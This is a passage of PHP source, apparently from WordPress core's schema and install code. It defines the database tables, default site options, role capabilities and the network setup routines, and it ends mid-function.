	$is_multisite = is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK );

	/*
	 * Indexes have a maximum size of 767 bytes. Historically, we haven't need to be concerned about that.
	 * As of 4.2, however, we moved to utf8mb4, which uses 4 bytes per character. This means that an index which
	 * used to have room for floor(767/3) = 255 characters, now only has room for floor(767/4) = 191 characters.
	 */
	$max_index_length = 191;

	// Blog-specific tables.
	$blog_tables = "CREATE TABLE $wpdb->termmeta (
	meta_id bigint(20) unsigned NOT NULL auto_increment,
	term_id bigint(20) unsigned NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY term_id (term_id),
	KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->terms (
 term_id bigint(20) unsigned NOT NULL auto_increment,
 name varchar(200) NOT NULL default '',
 slug varchar(200) NOT NULL default '',
 term_group bigint(10) NOT NULL default 0,
 PRIMARY KEY  (term_id),
 KEY slug (slug($max_index_length)),
 KEY name (name($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->term_taxonomy (
 term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment,
 term_id bigint(20) unsigned NOT NULL default 0,
 taxonomy varchar(32) NOT NULL default '',
 description longtext NOT NULL,
 parent bigint(20) unsigned NOT NULL default 0,
 count bigint(20) NOT NULL default 0,
 PRIMARY KEY  (term_taxonomy_id),
 UNIQUE KEY term_id_taxonomy (term_id,taxonomy),
 KEY taxonomy (taxonomy)
) $charset_collate;
CREATE TABLE $wpdb->term_relationships (
 object_id bigint(20) unsigned NOT NULL default 0,
 term_taxonomy_id bigint(20) unsigned NOT NULL default 0,
 term_order int(11) NOT NULL default 0,
 PRIMARY KEY  (object_id,term_taxonomy_id),
 KEY term_taxonomy_id (term_taxonomy_id)
) $charset_collate;
CREATE TABLE $wpdb->commentmeta (
	meta_id bigint(20) unsigned NOT NULL auto_increment,
	comment_id bigint(20) unsigned NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY comment_id (comment_id),
	KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->comments (
	comment_ID bigint(20) unsigned NOT NULL auto_increment,
	comment_post_ID bigint(20) unsigned NOT NULL default '0',
	comment_author tinytext NOT NULL,
	comment_author_email varchar(100) NOT NULL default '',
	comment_author_url varchar(200) NOT NULL default '',
	comment_author_IP varchar(100) NOT NULL default '',
	comment_date datetime NOT NULL default '0000-00-00 00:00:00',
	comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
	comment_content text NOT NULL,
	comment_karma int(11) NOT NULL default '0',
	comment_approved varchar(20) NOT NULL default '1',
	comment_agent varchar(255) NOT NULL default '',
	comment_type varchar(20) NOT NULL default 'comment',
	comment_parent bigint(20) unsigned NOT NULL default '0',
	user_id bigint(20) unsigned NOT NULL default '0',
	PRIMARY KEY  (comment_ID),
	KEY comment_post_ID (comment_post_ID),
	KEY comment_approved_date_gmt (comment_approved,comment_date_gmt),
	KEY comment_date_gmt (comment_date_gmt),
	KEY comment_parent (comment_parent),
	KEY comment_author_email (comment_author_email(10))
) $charset_collate;
CREATE TABLE $wpdb->links (
	link_id bigint(20) unsigned NOT NULL auto_increment,
	link_url varchar(255) NOT NULL default '',
	link_name varchar(255) NOT NULL default '',
	link_image varchar(255) NOT NULL default '',
	link_target varchar(25) NOT NULL default '',
	link_description varchar(255) NOT NULL default '',
	link_visible varchar(20) NOT NULL default 'Y',
	link_owner bigint(20) unsigned NOT NULL default '1',
	link_rating int(11) NOT NULL default '0',
	link_updated datetime NOT NULL default '0000-00-00 00:00:00',
	link_rel varchar(255) NOT NULL default '',
	link_notes mediumtext NOT NULL,
	link_rss varchar(255) NOT NULL default '',
	PRIMARY KEY  (link_id),
	KEY link_visible (link_visible)
) $charset_collate;
CREATE TABLE $wpdb->options (
	option_id bigint(20) unsigned NOT NULL auto_increment,
	option_name varchar(191) NOT NULL default '',
	option_value longtext NOT NULL,
	autoload varchar(20) NOT NULL default 'yes',
	PRIMARY KEY  (option_id),
	UNIQUE KEY option_name (option_name),
	KEY autoload (autoload)
) $charset_collate;
CREATE TABLE $wpdb->postmeta (
	meta_id bigint(20) unsigned NOT NULL auto_increment,
	post_id bigint(20) unsigned NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY post_id (post_id),
	KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->posts (
	ID bigint(20) unsigned NOT NULL auto_increment,
	post_author bigint(20) unsigned NOT NULL default '0',
	post_date datetime NOT NULL default '0000-00-00 00:00:00',
	post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
	post_content longtext NOT NULL,
	post_title text NOT NULL,
	post_excerpt text NOT NULL,
	post_status varchar(20) NOT NULL default 'publish',
	comment_status varchar(20) NOT NULL default 'open',
	ping_status varchar(20) NOT NULL default 'open',
	post_password varchar(255) NOT NULL default '',
	post_name varchar(200) NOT NULL default '',
	to_ping text NOT NULL,
	pinged text NOT NULL,
	post_modified datetime NOT NULL default '0000-00-00 00:00:00',
	post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00',
	post_content_filtered longtext NOT NULL,
	post_parent bigint(20) unsigned NOT NULL default '0',
	guid varchar(255) NOT NULL default '',
	menu_order int(11) NOT NULL default '0',
	post_type varchar(20) NOT NULL default 'post',
	post_mime_type varchar(100) NOT NULL default '',
	comment_count bigint(20) NOT NULL default '0',
	PRIMARY KEY  (ID),
	KEY post_name (post_name($max_index_length)),
	KEY type_status_date (post_type,post_status,post_date,ID),
	KEY post_parent (post_parent),
	KEY post_author (post_author)
) $charset_collate;\n";

	// Single site users table. The multisite flavor of the users table is handled below.
	$users_single_table = "CREATE TABLE $wpdb->users (
	ID bigint(20) unsigned NOT NULL auto_increment,
	user_login varchar(60) NOT NULL default '',
	user_pass varchar(255) NOT NULL default '',
	user_nicename varchar(50) NOT NULL default '',
	user_email varchar(100) NOT NULL default '',
	user_url varchar(100) NOT NULL default '',
	user_registered datetime NOT NULL default '0000-00-00 00:00:00',
	user_activation_key varchar(255) NOT NULL default '',
	user_status int(11) NOT NULL default '0',
	display_name varchar(250) NOT NULL default '',
	PRIMARY KEY  (ID),
	KEY user_login_key (user_login),
	KEY user_nicename (user_nicename),
	KEY user_email (user_email)
) $charset_collate;\n";

	// Multisite users table.
	$users_multi_table = "CREATE TABLE $wpdb->users (
	ID bigint(20) unsigned NOT NULL auto_increment,
	user_login varchar(60) NOT NULL default '',
	user_pass varchar(255) NOT NULL default '',
	user_nicename varchar(50) NOT NULL default '',
	user_email varchar(100) NOT NULL default '',
	user_url varchar(100) NOT NULL default '',
	user_registered datetime NOT NULL default '0000-00-00 00:00:00',
	user_activation_key varchar(255) NOT NULL default '',
	user_status int(11) NOT NULL default '0',
	display_name varchar(250) NOT NULL default '',
	spam tinyint(2) NOT NULL default '0',
	deleted tinyint(2) NOT NULL default '0',
	PRIMARY KEY  (ID),
	KEY user_login_key (user_login),
	KEY user_nicename (user_nicename),
	KEY user_email (user_email)
) $charset_collate;\n";

	// Usermeta.
	$usermeta_table = "CREATE TABLE $wpdb->usermeta (
	umeta_id bigint(20) unsigned NOT NULL auto_increment,
	user_id bigint(20) unsigned NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (umeta_id),
	KEY user_id (user_id),
	KEY meta_key (meta_key($max_index_length))
) $charset_collate;\n";

	// Global tables.
	if ( $is_multisite ) {
		$global_tables = $users_multi_table . $usermeta_table;
	} else {
		$global_tables = $users_single_table . $usermeta_table;
	}

	// Multisite global tables.
	$ms_global_tables = "CREATE TABLE $wpdb->blogs (
	blog_id bigint(20) NOT NULL auto_increment,
	site_id bigint(20) NOT NULL default '0',
	domain varchar(200) NOT NULL default '',
	path varchar(100) NOT NULL default '',
	registered datetime NOT NULL default '0000-00-00 00:00:00',
	last_updated datetime NOT NULL default '0000-00-00 00:00:00',
	public tinyint(2) NOT NULL default '1',
	archived tinyint(2) NOT NULL default '0',
	mature tinyint(2) NOT NULL default '0',
	spam tinyint(2) NOT NULL default '0',
	deleted tinyint(2) NOT NULL default '0',
	lang_id int(11) NOT NULL default '0',
	PRIMARY KEY  (blog_id),
	KEY domain (domain(50),path(5)),
	KEY lang_id (lang_id)
) $charset_collate;
CREATE TABLE $wpdb->blogmeta (
	meta_id bigint(20) unsigned NOT NULL auto_increment,
	blog_id bigint(20) NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY meta_key (meta_key($max_index_length)),
	KEY blog_id (blog_id)
) $charset_collate;
CREATE TABLE $wpdb->registration_log (
	ID bigint(20) NOT NULL auto_increment,
	email varchar(255) NOT NULL default '',
	IP varchar(30) NOT NULL default '',
	blog_id bigint(20) NOT NULL default '0',
	date_registered datetime NOT NULL default '0000-00-00 00:00:00',
	PRIMARY KEY  (ID),
	KEY IP (IP)
) $charset_collate;
CREATE TABLE $wpdb->site (
	id bigint(20) NOT NULL auto_increment,
	domain varchar(200) NOT NULL default '',
	path varchar(100) NOT NULL default '',
	PRIMARY KEY  (id),
	KEY domain (domain(140),path(51))
) $charset_collate;
CREATE TABLE $wpdb->sitemeta (
	meta_id bigint(20) NOT NULL auto_increment,
	site_id bigint(20) NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY meta_key (meta_key($max_index_length)),
	KEY site_id (site_id)
) $charset_collate;
CREATE TABLE $wpdb->signups (
	signup_id bigint(20) NOT NULL auto_increment,
	domain varchar(200) NOT NULL default '',
	path varchar(100) NOT NULL default '',
	title longtext NOT NULL,
	user_login varchar(60) NOT NULL default '',
	user_email varchar(100) NOT NULL default '',
	registered datetime NOT NULL default '0000-00-00 00:00:00',
	activated datetime NOT NULL default '0000-00-00 00:00:00',
	active tinyint(1) NOT NULL default '0',
	activation_key varchar(50) NOT NULL default '',
	meta longtext,
	PRIMARY KEY  (signup_id),
	KEY activation_key (activation_key),
	KEY user_email (user_email),
	KEY user_login_email (user_login,user_email),
	KEY domain_path (domain(140),path(51))
) $charset_collate;";

	switch ( $scope ) {
		case 'blog':
			$queries = $blog_tables;
			break;
		case 'global':
			$queries = $global_tables;
			if ( $is_multisite ) {
				$queries .= $ms_global_tables;
			}
			break;
		case 'ms_global':
			$queries = $ms_global_tables;
			break;
		case 'all':
		default:
			$queries = $global_tables . $blog_tables;
			if ( $is_multisite ) {
				$queries .= $ms_global_tables;
			}
			break;
	}

	if ( isset( $old_blog_id ) ) {
		$wpdb->set_blog_id( $old_blog_id );
	}

	return $queries;
}

// Populate for back compat.
$wp_queries = wp_get_db_schema( 'all' );

/**
 * Create WordPress options and set the default values.
 *
 * @since 1.5.0
 * @since 5.1.0 The $options parameter has been added.
 *
 * @global wpdb $wpdb                  WordPress database abstraction object.
 * @global int  $wp_db_version         WordPress database version.
 * @global int  $wp_current_db_version The old (current) database version.
 *
 * @param array $options Optional. Custom option $key => $value pairs to use. Default empty array.
 */
function populate_options( array $options = array() ) {
	global $wpdb, $wp_db_version, $wp_current_db_version;

	$guessurl = wp_guess_url();
	/**
	 * Fires before creating WordPress options and populating their default values.
	 *
	 * @since 2.6.0
	 */
	do_action( 'populate_options' );

	// If WP_DEFAULT_THEME doesn't exist, fall back to the latest core default theme.
	$stylesheet = WP_DEFAULT_THEME;
	$template   = WP_DEFAULT_THEME;
	$theme      = wp_get_theme( WP_DEFAULT_THEME );
	if ( ! $theme->exists() ) {
		$theme = WP_Theme::get_core_default_theme();
	}

	// If we can't find a core default theme, WP_DEFAULT_THEME is the best we can do.
	if ( $theme ) {
		$stylesheet = $theme->get_stylesheet();
		$template   = $theme->get_template();
	}

	$timezone_string = '';
	$gmt_offset      = 0;
	/*
	 * translators: default GMT offset or timezone string. Must be either a valid offset (-12 to 14)
	 * or a valid timezone string (America/New_York). See https://www.php.net/manual/en/timezones.php
	 * for all timezone strings currently supported by PHP.
	 *
	 * Important: When a previous timezone string, like `Europe/Kiev`, has been superseded by an
	 * updated one, like `Europe/Kyiv`, as a rule of thumb, the **old** timezone name should be used
	 * in the "translation" to allow for the default timezone setting to be PHP cross-version compatible,
	 * as old timezone names will be recognized in new PHP versions, while new timezone names cannot
	 * be recognized in old PHP versions.
	 *
	 * To verify which timezone strings are available in the _oldest_ PHP version supported, you can
	 * use https://3v4l.org/6YQAt#v5.6.20 and replace the "BR" (Brazil) in the code line with the
	 * country code for which you want to look up the supported timezone names.
	 */
	$offset_or_tz = _x( '0', 'default GMT offset or timezone string' );
	if ( is_numeric( $offset_or_tz ) ) {
		$gmt_offset = $offset_or_tz;
	} elseif ( $offset_or_tz && in_array( $offset_or_tz, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true ) ) {
		$timezone_string = $offset_or_tz;
	}

	$defaults = array(
		'siteurl'                         => $guessurl,
		'home'                            => $guessurl,
		'blogname'                        => __( 'My Site' ),
		'blogdescription'                 => '',
		'users_can_register'              => 0,
		'admin_email'                     => 'you@example.com',
		/* translators: Default start of the week. 0 = Sunday, 1 = Monday. */
		'start_of_week'                   => _x( '1', 'start of week' ),
		'use_balanceTags'                 => 0,
		'use_smilies'                     => 1,
		'require_name_email'              => 1,
		'comments_notify'                 => 1,
		'posts_per_rss'                   => 10,
		'rss_use_excerpt'                 => 0,
		'mailserver_url'                  => 'mail.example.com',
		'mailserver_login'                => 'login@example.com',
		'mailserver_pass'                 => 'password',
		'mailserver_port'                 => 110,
		'default_category'                => 1,
		'default_comment_status'          => 'open',
		'default_ping_status'             => 'open',
		'default_pingback_flag'           => 1,
		'posts_per_page'                  => 10,
		/* translators: Default date format, see https://www.php.net/manual/datetime.format.php */
		'date_format'                     => __( 'F j, Y' ),
		/* translators: Default time format, see https://www.php.net/manual/datetime.format.php */
		'time_format'                     => __( 'g:i a' ),
		/* translators: Links last updated date format, see https://www.php.net/manual/datetime.format.php */
		'links_updated_date_format'       => __( 'F j, Y g:i a' ),
		'comment_moderation'              => 0,
		'moderation_notify'               => 1,
		'permalink_structure'             => '',
		'rewrite_rules'                   => '',
		'hack_file'                       => 0,
		'blog_charset'                    => 'UTF-8',
		'moderation_keys'                 => '',
		'active_plugins'                  => array(),
		'category_base'                   => '',
		'ping_sites'                      => 'http://rpc.pingomatic.com/',
		'comment_max_links'               => 2,
		'gmt_offset'                      => $gmt_offset,

		// 1.5.0
		'default_email_category'          => 1,
		'recently_edited'                 => '',
		'template'                        => $template,
		'stylesheet'                      => $stylesheet,
		'comment_registration'            => 0,
		'html_type'                       => 'text/html',

		// 1.5.1
		'use_trackback'                   => 0,

		// 2.0.0
		'default_role'                    => 'subscriber',
		'db_version'                      => $wp_db_version,

		// 2.0.1
		'uploads_use_yearmonth_folders'   => 1,
		'upload_path'                     => '',

		// 2.1.0
		'blog_public'                     => '1',
		'default_link_category'           => 2,
		'show_on_front'                   => 'posts',

		// 2.2.0
		'tag_base'                        => '',

		// 2.5.0
		'show_avatars'                    => '1',
		'avatar_rating'                   => 'G',
		'upload_url_path'                 => '',
		'thumbnail_size_w'                => 150,
		'thumbnail_size_h'                => 150,
		'thumbnail_crop'                  => 1,
		'medium_size_w'                   => 300,
		'medium_size_h'                   => 300,

		// 2.6.0
		'avatar_default'                  => 'mystery',

		// 2.7.0
		'large_size_w'                    => 1024,
		'large_size_h'                    => 1024,
		'image_default_link_type'         => 'none',
		'image_default_size'              => '',
		'image_default_align'             => '',
		'close_comments_for_old_posts'    => 0,
		'close_comments_days_old'         => 14,
		'thread_comments'                 => 1,
		'thread_comments_depth'           => 5,
		'page_comments'                   => 0,
		'comments_per_page'               => 50,
		'default_comments_page'           => 'newest',
		'comment_order'                   => 'asc',
		'sticky_posts'                    => array(),
		'widget_categories'               => array(),
		'widget_text'                     => array(),
		'widget_rss'                      => array(),
		'uninstall_plugins'               => array(),

		// 2.8.0
		'timezone_string'                 => $timezone_string,

		// 3.0.0
		'page_for_posts'                  => 0,
		'page_on_front'                   => 0,

		// 3.1.0
		'default_post_format'             => 0,

		// 3.5.0
		'link_manager_enabled'            => 0,

		// 4.3.0
		'finished_splitting_shared_terms' => 1,
		'site_icon'                       => 0,

		// 4.4.0
		'medium_large_size_w'             => 768,
		'medium_large_size_h'             => 0,

		// 4.9.6
		'wp_page_for_privacy_policy'      => 0,

		// 4.9.8
		'show_comments_cookies_opt_in'    => 1,

		// 5.3.0
		'admin_email_lifespan'            => ( time() + 6 * MONTH_IN_SECONDS ),

		// 5.5.0
		'disallowed_keys'                 => '',
		'comment_previously_approved'     => 1,
		'auto_plugin_theme_update_emails' => array(),

		// 5.6.0
		'auto_update_core_dev'            => 'enabled',
		'auto_update_core_minor'          => 'enabled',
		/*
		 * Default to enabled for new installs.
		 * See https://core.trac.wordpress.org/ticket/51742.
		 */
		'auto_update_core_major'          => 'enabled',

		// 5.8.0
		'wp_force_deactivated_plugins'    => array(),

		// 6.4.0
		'wp_attachment_pages_enabled'     => 0,
	);

	// 3.3.0
	if ( ! is_multisite() ) {
		$defaults['initial_db_version'] = ! empty( $wp_current_db_version ) && $wp_current_db_version < $wp_db_version
			? $wp_current_db_version : $wp_db_version;
	}

	// 3.0.0 multisite.
	if ( is_multisite() ) {
		$defaults['permalink_structure'] = '/%year%/%monthnum%/%day%/%postname%/';
	}

	$options = wp_parse_args( $options, $defaults );

	// Set autoload to no for these options.
	$fat_options = array(
		'moderation_keys',
		'recently_edited',
		'disallowed_keys',
		'uninstall_plugins',
		'auto_plugin_theme_update_emails',
	);

	$keys             = "'" . implode( "', '", array_keys( $options ) ) . "'";
	$existing_options = $wpdb->get_col( "SELECT option_name FROM $wpdb->options WHERE option_name in ( $keys )" ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

	$insert = '';

	foreach ( $options as $option => $value ) {
		if ( in_array( $option, $existing_options, true ) ) {
			continue;
		}

		if ( in_array( $option, $fat_options, true ) ) {
			$autoload = 'no';
		} else {
			$autoload = 'yes';
		}

		if ( ! empty( $insert ) ) {
			$insert .= ', ';
		}

		$value = maybe_serialize( sanitize_option( $option, $value ) );

		$insert .= $wpdb->prepare( '(%s, %s, %s)', $option, $value, $autoload );
	}

	if ( ! empty( $insert ) ) {
		$wpdb->query( "INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}

	// In case it is set, but blank, update "home".
	if ( ! __get_option( 'home' ) ) {
		update_option( 'home', $guessurl );
	}

	// Delete unused options.
	$unusedoptions = array(
		'blodotgsping_url',
		'bodyterminator',
		'emailtestonly',
		'phoneemail_separator',
		'smilies_directory',
		'subjectprefix',
		'use_bbcode',
		'use_blodotgsping',
		'use_phoneemail',
		'use_quicktags',
		'use_weblogsping',
		'weblogs_cache_file',
		'use_preview',
		'use_htmltrans',
		'smilies_directory',
		'fileupload_allowedusers',
		'use_phoneemail',
		'default_post_status',
		'default_post_category',
		'archive_mode',
		'time_difference',
		'links_minadminlevel',
		'links_use_adminlevels',
		'links_rating_type',
		'links_rating_char',
		'links_rating_ignore_zero',
		'links_rating_single_image',
		'links_rating_image0',
		'links_rating_image1',
		'links_rating_image2',
		'links_rating_image3',
		'links_rating_image4',
		'links_rating_image5',
		'links_rating_image6',
		'links_rating_image7',
		'links_rating_image8',
		'links_rating_image9',
		'links_recently_updated_time',
		'links_recently_updated_prepend',
		'links_recently_updated_append',
		'weblogs_cacheminutes',
		'comment_allowed_tags',
		'search_engine_friendly_urls',
		'default_geourl_lat',
		'default_geourl_lon',
		'use_default_geourl',
		'weblogs_xml_url',
		'new_users_can_blog',
		'_wpnonce',
		'_wp_http_referer',
		'Update',
		'action',
		'rich_editing',
		'autosave_interval',
		'deactivated_plugins',
		'can_compress_scripts',
		'page_uris',
		'update_core',
		'update_plugins',
		'update_themes',
		'doing_cron',
		'random_seed',
		'rss_excerpt_length',
		'secret',
		'use_linksupdate',
		'default_comment_status_page',
		'wporg_popular_tags',
		'what_to_show',
		'rss_language',
		'language',
		'enable_xmlrpc',
		'enable_app',
		'embed_autourls',
		'default_post_edit_rows',
		'gzipcompression',
		'advanced_edit',
	);
	foreach ( $unusedoptions as $option ) {
		delete_option( $option );
	}

	// Delete obsolete magpie stuff.
	$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'" );

	// Clear expired transients.
	delete_expired_transients( true );
}

/**
 * Execute WordPress role creation for the various WordPress versions.
 *
 * @since 2.0.0
 */
function populate_roles() {
	populate_roles_160();
	populate_roles_210();
	populate_roles_230();
	populate_roles_250();
	populate_roles_260();
	populate_roles_270();
	populate_roles_280();
	populate_roles_300();
}

/**
 * Create the roles for WordPress 2.0
 *
 * @since 2.0.0
 */
function populate_roles_160() {
	// Add roles.
	add_role( 'administrator', 'Administrator' );
	add_role( 'editor', 'Editor' );
	add_role( 'author', 'Author' );
	add_role( 'contributor', 'Contributor' );
	add_role( 'subscriber', 'Subscriber' );

	// Add caps for Administrator role.
	$role = get_role( 'administrator' );
	$role->add_cap( 'switch_themes' );
	$role->add_cap( 'edit_themes' );
	$role->add_cap( 'activate_plugins' );
	$role->add_cap( 'edit_plugins' );
	$role->add_cap( 'edit_users' );
	$role->add_cap( 'edit_files' );
	$role->add_cap( 'manage_options' );
	$role->add_cap( 'moderate_comments' );
	$role->add_cap( 'manage_categories' );
	$role->add_cap( 'manage_links' );
	$role->add_cap( 'upload_files' );
	$role->add_cap( 'import' );
	$role->add_cap( 'unfiltered_html' );
	$role->add_cap( 'edit_posts' );
	$role->add_cap( 'edit_others_posts' );
	$role->add_cap( 'edit_published_posts' );
	$role->add_cap( 'publish_posts' );
	$role->add_cap( 'edit_pages' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_10' );
	$role->add_cap( 'level_9' );
	$role->add_cap( 'level_8' );
	$role->add_cap( 'level_7' );
	$role->add_cap( 'level_6' );
	$role->add_cap( 'level_5' );
	$role->add_cap( 'level_4' );
	$role->add_cap( 'level_3' );
	$role->add_cap( 'level_2' );
	$role->add_cap( 'level_1' );
	$role->add_cap( 'level_0' );

	// Add caps for Editor role.
	$role = get_role( 'editor' );
	$role->add_cap( 'moderate_comments' );
	$role->add_cap( 'manage_categories' );
	$role->add_cap( 'manage_links' );
	$role->add_cap( 'upload_files' );
	$role->add_cap( 'unfiltered_html' );
	$role->add_cap( 'edit_posts' );
	$role->add_cap( 'edit_others_posts' );
	$role->add_cap( 'edit_published_posts' );
	$role->add_cap( 'publish_posts' );
	$role->add_cap( 'edit_pages' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_7' );
	$role->add_cap( 'level_6' );
	$role->add_cap( 'level_5' );
	$role->add_cap( 'level_4' );
	$role->add_cap( 'level_3' );
	$role->add_cap( 'level_2' );
	$role->add_cap( 'level_1' );
	$role->add_cap( 'level_0' );

	// Add caps for Author role.
	$role = get_role( 'author' );
	$role->add_cap( 'upload_files' );
	$role->add_cap( 'edit_posts' );
	$role->add_cap( 'edit_published_posts' );
	$role->add_cap( 'publish_posts' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_2' );
	$role->add_cap( 'level_1' );
	$role->add_cap( 'level_0' );

	// Add caps for Contributor role.
	$role = get_role( 'contributor' );
	$role->add_cap( 'edit_posts' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_1' );
	$role->add_cap( 'level_0' );

	// Add caps for Subscriber role.
	$role = get_role( 'subscriber' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_0' );
}

/**
 * Create and modify WordPress roles for WordPress 2.1.
 *
 * @since 2.1.0
 */
function populate_roles_210() {
	$roles = array( 'administrator', 'editor' );
	foreach ( $roles as $role ) {
		$role = get_role( $role );
		if ( empty( $role ) ) {
			continue;
		}

		$role->add_cap( 'edit_others_pages' );
		$role->add_cap( 'edit_published_pages' );
		$role->add_cap( 'publish_pages' );
		$role->add_cap( 'delete_pages' );
		$role->add_cap( 'delete_others_pages' );
		$role->add_cap( 'delete_published_pages' );
		$role->add_cap( 'delete_posts' );
		$role->add_cap( 'delete_others_posts' );
		$role->add_cap( 'delete_published_posts' );
		$role->add_cap( 'delete_private_posts' );
		$role->add_cap( 'edit_private_posts' );
		$role->add_cap( 'read_private_posts' );
		$role->add_cap( 'delete_private_pages' );
		$role->add_cap( 'edit_private_pages' );
		$role->add_cap( 'read_private_pages' );
	}

	$role = get_role( 'administrator' );
	if ( ! empty( $role ) ) {
		$role->add_cap( 'delete_users' );
		$role->add_cap( 'create_users' );
	}

	$role = get_role( 'author' );
	if ( ! empty( $role ) ) {
		$role->add_cap( 'delete_posts' );
		$role->add_cap( 'delete_published_posts' );
	}

	$role = get_role( 'contributor' );
	if ( ! empty( $role ) ) {
		$role->add_cap( 'delete_posts' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.3.
 *
 * @since 2.3.0
 */
function populate_roles_230() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'unfiltered_upload' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.5.
 *
 * @since 2.5.0
 */
function populate_roles_250() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'edit_dashboard' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.6.
 *
 * @since 2.6.0
 */
function populate_roles_260() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'update_plugins' );
		$role->add_cap( 'delete_plugins' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.7.
 *
 * @since 2.7.0
 */
function populate_roles_270() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'install_plugins' );
		$role->add_cap( 'update_themes' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.8.
 *
 * @since 2.8.0
 */
function populate_roles_280() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'install_themes' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 3.0.
 *
 * @since 3.0.0
 */
function populate_roles_300() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'update_core' );
		$role->add_cap( 'list_users' );
		$role->add_cap( 'remove_users' );
		$role->add_cap( 'promote_users' );
		$role->add_cap( 'edit_theme_options' );
		$role->add_cap( 'delete_themes' );
		$role->add_cap( 'export' );
	}
}

if ( ! function_exists( 'install_network' ) ) :
	/**
	 * Install Network.
	 *
	 * @since 3.0.0
	 */
	function install_network() {
		if ( ! defined( 'WP_INSTALLING_NETWORK' ) ) {
			define( 'WP_INSTALLING_NETWORK', true );
		}

		dbDelta( wp_get_db_schema( 'global' ) );
	}
endif;

/**
 * Populate network settings.
 *
 * @since 3.0.0
 *
 * @global wpdb       $wpdb         WordPress database abstraction object.
 * @global object     $current_site
 * @global WP_Rewrite $wp_rewrite   WordPress rewrite component.
 *
 * @param int    $network_id        ID of network to populate.
 * @param string $domain            The domain name for the network. Example: "example.com".
 * @param string $email             Email address for the network administrator.
 * @param string $site_name         The name of the network.
 * @param string $path              Optional. The path to append to the network's domain name. Default '/'.
 * @param bool   $subdomain_install Optional. Whether the network is a subdomain installation or a subdirectory installation.
 *                                  Default false, meaning the network is a subdirectory installation.
 * @return true|WP_Error True on success, or WP_Error on warning (with the installation otherwise successful,
 *                       so the error code must be checked) or failure.
 */
function populate_network( $network_id = 1, $domain = '', $email = '', $site_name = '', $path = '/', $subdomain_install = false ) {
	global $wpdb, $current_site, $wp_rewrite;

	$network_id = (int) $network_id;

	$errors = new WP_Error();
	if ( '' === $domain ) {
		$errors->add( 'empty_domain', __( 'You must provide a domain name.' ) );
	}
	if ( '' === $site_name ) {
		$errors->add( 'empty_sitename', __( 'You must provide a name for your network of sites.' ) );
	}

	// Check for network collision.
	$network_exists = false;
	if ( is_multisite() ) {
		if ( get_network( $network_id ) ) {
			$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
		}
	} else {
		if ( $network_id === (int) $wpdb->get_var(
			$wpdb->prepare( "SELECT id FROM $wpdb->site WHERE id = %d", $network_id )
		) ) {
			$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
		}
	}

	if ( ! is_email( $email ) ) {
		$errors->add( 'invalid_email', __( 'You must provide a valid email address.' ) );
	}

	if ( $errors->has_errors() ) {
		return $errors;
	}

	if ( 1 === $network_id ) {
		$wpdb->insert(
			$wpdb->site,
			array(
				'domain' => $domain,
				'path'   => $path,
			)
		);
		$network_id = $wpdb->insert_id;
	} else {
		$wpdb->insert(
			$wpdb->site,
			array(
				'domain' => $domain,
				'path'   => $path,
				'id'     => $network_id,
			)
		);
	}

	populate_network_meta(
		$network_id,
		array(
			'admin_email'       => $email,
			'site_name'         => $site_name,
			'subdomain_install' => $subdomain_install,
		)
	);

	/*
	 * When upgrading from single to multisite, assume the current site will
	 * become the main site of the network. When using populate_network()
	 * to create another network in an existing multisite environment, skip
	 * these steps since the main site of the new network has not yet been
	 * created.
	 */
	if ( ! is_multisite() ) {
		$current_site            = new stdClass();
		$current_site->domain    = $domain;
		$current_site->path      = $path;
		$current_site->site_name = ucfirst( $domain );
		$wpdb->insert(
			$wpdb->blogs,
			array(
				'site_id'    => $network_id,
				'blog_id'    => 1,
				'domain'     => $domain,
				'path'       => $path,
				'registered' => current_time( 'mysql' ),
			)
		);
		$current_site->blog_id = $wpdb->insert_id;

		$site_user_id = (int) $wpdb->get_var(
			$wpdb->prepare(
				"SELECT meta_value
